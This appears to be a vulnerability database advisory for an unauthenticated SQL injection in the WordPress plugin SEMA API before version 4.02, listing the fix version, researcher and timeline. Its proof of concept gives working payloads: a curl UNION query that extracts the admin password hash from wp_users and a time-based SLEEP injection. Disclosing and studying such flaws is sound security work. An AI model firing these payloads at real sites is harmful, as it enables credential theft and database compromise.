WordPress Plugin Vulnerabilities
SEMA API < 4.02 - Unauthenticated SQLi
Description
The plugin does not properly sanitise and escape some parameters before using them in SQL statements via an AJAX action, leading to SQL Injections exploitable by unauthenticated users
Proof of Concept
v < 3.64: curl http://example.com/wp-admin/admin-ajax.php --data 'action=get_semadata&type=attributes&catid=-3 UNION ALL SELECT 1,2,3,(SELECT user_pass FROM wp_users WHERE ID = 1),5-- -' v < 4.02 https://example.com/wp-admin/admin-ajax.php?action=get_semadata&type=deleteattribute&catid=1&attrids=1%29 AND %28SELECT 42 FROM %28SELECT%28SLEEP%285%29%29%29b
Affects Plugins
Fixed in 4.02 References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-13 (about 2 years ago)
Added
2022-04-13 (about 2 years ago)
Last Updated
2022-06-01 (about 1 years ago)
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